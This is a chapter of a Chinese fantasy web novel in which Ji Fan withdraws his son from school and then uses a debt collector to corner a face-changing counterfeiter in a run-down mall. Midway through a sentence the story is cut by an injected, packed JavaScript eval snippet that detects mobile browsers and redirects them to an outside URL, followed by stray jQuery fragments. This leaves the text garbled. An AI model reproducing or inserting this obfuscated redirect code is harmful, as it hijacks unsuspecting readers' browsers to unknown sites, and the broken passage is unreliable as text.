在商行云的陪同下,纪择言的退学手续办理得很顺利,不到半个小时,学籍档案就从雷池附高移出,交到了纪凡手里。
“纪先生,你真的没有其他要求了吗?我可以酌情帮你向校方申请的。”
看着纪凡手里提着的薄薄纸袋,商行云发自本能的同情心泛滥。
纪凡摇了摇头,又点点头,提出一个要求。
“商老师,麻烦你送我去最近的交通站。”
商行云的精神体幻化的月轮,是极佳的代步工具,速度快,匿行于云层里,可以躲开大部分交通管制,乘坐体验极度舒适。
如果换成平时,纪凡是不会麻烦她的,但想到祝融小荒,时间的紧迫感促使他加快行动,必须在那个属狗的家伙找到他之前,完成所有的事情。
商行云愣了愣,这点小事都算不上个事,她答应得爽快。
“可以的。”
甚至她还更热心的提议:“纪先生你要去哪里,我可以直接送你到目的地。”
“不用了,我要去的地方,你去不了。”
纪凡对她笑了笑,露出些许感谢的意思,但还是拒绝了她的提议。
“那好吧……纪先生,如果有什么困难一定要告诉我,不要勉强。”
商行云没有强求,心底却犯起嘀咕,有什么地方是她去不了的?想起纪择言的家庭状况,有点担心纪凡是要去做一些违法的事,忍不住一再强调。
“我会的,商老师。”
体会到对方的善意,纪凡脸上的笑意又真诚了些,眉眼弯起,神情舒展。
他跟纪择言长得不像,有点娃娃相,神态间无处不在的疲惫,凝结成风霜,赋予了与年龄匹配的沧桑,可这一笑,风霜消融,沧桑染上春色,乍然焕发勃勃生机,那张天生的娃娃脸像是从枝头绽出的绿芽,突然就嫩得能掐出水。
穿的又是一身少年人的衣服,错眼之下,竟让人感觉他跟纪择言不是父子,而是同龄人。
商行云被晃了眼,只当是眼花,忍不住用力眨了一下,再看过去时,纪凡已经收起了笑容,依然是风霜覆面,疲惫不堪的状态,仿佛刚才看到的只是她的错觉。
“商老师……商老师……”
纪凡连喊几声,她才回过神来,想起自己刚才竟然盯着他看出了神,不由得耳根一热,匆匆转身。
“纪先生,跟我来吧。”
距离雷池附高最近的交通站,叫做万象通达,主体是一栋十八层高的环形堡垒,九层露出地面,九层隐于地下,每一层都是不同交通工具的出入站台。
以万象通达为中心,辐射十公里,都是繁荣的商业区,再往外,就是大片生活区。
商行云以为纪凡是要乘坐交通工具去别的地方,离开前还热心的塞给他一笔足够来回的交通费,却不知道,在她离开后,纪凡转头就离开了交通站,走进了商业区,来到一个看起来有些冷清的小商场里面。
周围都是高层建筑,导致这栋只有一层的小商场光线不佳,通风不良,顾客三三俩俩,店员懒懒散散。
纪凡熟门熟路的走到最角落里的柜台,敲了敲台面。
趴在柜台上打盹的店员头也没抬,声音闷闷的从胳膊下面传出来。
“要什么自己选,不议价。”
“收债。”纪凡压低了声音。
声音竟然带了回响。
扭头一看,原来他身后跟着一个身材精壮的高大男人,五官粗犷,一条刀疤从左脸横切到右脸,丑陋狰狞,一看就是穷凶极恶之徒。
另一声“收债”就是这个刀疤男喊的,中气十足,两个声音一轻一重叠加在一起,听上去就像有了回音。
趴在柜台上的店员两只脚像兔子般在地上一蹬,整个人还保持着趴伏的姿势,身体已经弹射出去,撞向身后的墙壁。
墙体是活的,在他撞上的瞬间,整个翻转过去,转眼人已经跑得无影无踪,只剩下回到原位的墙壁,无言的面对两个收债人。
“龟孙子还敢跑!”
刀疤男迅速反应过来,大骂一声,手在柜台上稍一用力,身体弹起,两只脚飞跨过柜台,重重落地,然后抬起胳膊护住头脸,像一台人形推土机,对着墙壁撞了过去。
轰!
墙壁被撞出一个大洞,露出后面空荡荡的街巷,刀疤男抡起胳膊挥散灰尘,辨别方向,抬脚就追了出去。
这么大的动静,完全没有引起其他柜台店员的注意,他们早已经见怪不怪,偷懒的继续偷懒,摸鱼的继续摸鱼,反而是仅有的几个顾客有些吃惊的看过来,对着墙上的破洞发愣。
纪凡面对一地的狼藉,有些头疼的揉了揉眉心,从柜台里面拉出一张椅子,抖落上面的尘污碎砖,擦拭干净,坐了下来。
“喂,不用等了,那家伙跑了短期内不会再回来。”
隔壁柜台里,有个店员探出头来,好心的提醒。
纪凡礼貌的对他点点头。
“我等的不是他。”
隔壁店员一愣,好奇的追问:“那你等谁?”
纪凡还没回答,墙洞那头,刀疤男钻了进来,开始扫荡柜台里的商品,不管值不值钱,全都不放过,嘴里还骂骂咧咧。
“个龟孙子跑得贼快……”
人这不就回来了。
“我等他。”
在店员不解惊讶的目光中,纪凡对刀疤男勾了勾手指。
刀疤男看见了,一眼瞪过来,粗声粗气:“别跟老子抢这些破烂,不然揍你……他么的能抵个毛子钱……别让老子逮到那龟孙子,老子扒了他的皮……”
“他欠你多少?”纪凡慢吞吞的问。
刀疤男扬起一只手比了比,又翻过来比了比。
十万。
纪凡轻笑一声:“这些破烂全是假货,成本加在一起,五百都不值。”
“全是假的?”
刀疤男动作一顿,不可思议的瞪圆眼睛。
“一件真货也没有?”
“你不知道他的外号吗?”纪凡反问。
刀疤男闷声闷气:“贾麻子,怎么了?”
“是假麻子,真假的假,这家伙的货全是假的,名字是假的,身份是假的,就连你看到的那张脸,都是他用精神体的能力变化出来的假脸,你刚才追出去,第一个跟你擦肩而过的人,就是他,当然,那时候他已经又换了张脸。”
刀疤男愣了几秒,后知后觉,恍然大悟,爆声粗口,把手里的破烂一扔,转头又往墙洞钻。
“你现在追也没用,他已经不知道换了多少张脸。”
纪凡的声音成功的把刀疤男的脚步钉住。
“这龟孙子%*^%&*^……”
一连串脏话从他嘴里冒出来,不堪入耳。
“我能帮你找到他。”
纪凡一句话又成功的打断了刀疤男的疯狂输出。
眼神对视片刻,看起来四肢发达的刀疤男,眼神突然就沉了下去,流露出粗犷之外的一丝精明。
“条件呢?”
“你收回的债款,我要一半。”
狮子大开口。
刀疤男眼神飞快的闪烁几
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294477|198429||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下。
“成交!”
“这么爽快?”纪凡有点意外,他还以为要扯皮几句。
刀疤男嘿嘿一笑:“我又不傻,要回一半和要不回来之间怎么选我分得清。”
纪凡眉头舒展,主动伸出手:“我最喜欢拎得清的人,交个朋友,我是纪凡。”
刀疤男右手握拳在他的掌心里碰了碰:“廖一刀,职业要债人,以后你有要不到的债可以来找我,我抽成不高,七成。”
纪凡哑然半晌,噗哧一笑:“难怪你这么爽快。”
抽七成,还不高,合着他要一半,对方还能剩二成,摆明不亏。
刀疤男跟着笑了,一脸憨厚的辩解:“我要债成功率高达九成,换成别人,抽成都要抽九成的,我才要七成,真的很优惠了。”
说完,笑脸一收,横贯整张脸的刀疤扭动,凶相毕露。
“纪先生,早点要债早分账,那龟孙子在哪里,你告诉我,我现在就去逮人。”
纪凡喜欢他正事正办不废话的态度,伸手往隔壁一指:“他就是假麻子。”
隔壁柜台里的店员见状大惊失色,连连摇手:“先生你不要胡说八道,关我什么事……”
一边说一边退,直到后背抵墙的瞬间,纪凡才开口:“你要是再跑,我就带他直接摸进你的老巢,你知道的,不管你跑到哪里,变成什么样子,我都能找到你。”
说着,他又弯起眉眼,浅浅一笑,笑容纯良,近乎温柔的天真。
但就是这温柔的天真,让隔壁店员头皮一紧,见了鬼般瞪圆了眼珠子,失声惊呼:“你你……竟然是你……你诈尸了!”
纪凡眼里的笑意更浓,声音更柔缓。
“没有诈尸,诈的是你而已,我就那么随手一指,你不打自招。”
“你这个祸害竟然真没死……”
隔壁店员哀嚎一声,身子往地上一瘫,整个人如丧考妣。
廖一刀这会儿也看明白了,大步一跨,翻过柜台,揪住假麻子后衣领一把提起来,上看下看左看右看,满脸不可思议。
“你这龟孙子变脸的本事忒他么的损了,骗死人不偿命啊,跑就跑了,还敢回来看老子的笑话。”
抬手啪啪就是两耳光,打得假麻子连忙告饶。
“打人别打脸,我还要靠脸吃饭……”
廖一刀气乐了:“你个龟孙子没有一张脸是真的,靠哪门子脸吃饭。”
“靠的当然是千变万幻绝不重复的假脸。”
假麻子理直气壮,怼得廖一刀语塞,索性又打了俩耳光才解气。
“还钱吧。”
纪凡从地上一堆假货里面挑出一件勉强看得上眼的,递给假麻子。
“五万,我买了。”
假麻子怏怏的,拿出一张五万的卡扔给廖一刀。
“快滚快滚,今天算我倒霉。”
廖一刀核对好金额,收了卡,才不解的看向纪凡。
“知道是假货你还买?”
纪凡耸耸肩:“我买的是服务,这些货虽然都是假的,但假麻子提供的售后服务都是真的。”
在廖一刀讶异的目光里,他和假麻子一前一后走出了商场。
直到二人身影消失在视野里,廖一刀才猛然一拍大腿,后知后觉。
“好一招空手套白狼。”
合着就自己是冤大头,白白替人付了五万服务费。
人不可貌相,那个看起来文文弱弱的男人,坑起人来毫不含糊,把人卖了还要人自己帮着数钱。
心黑手黑。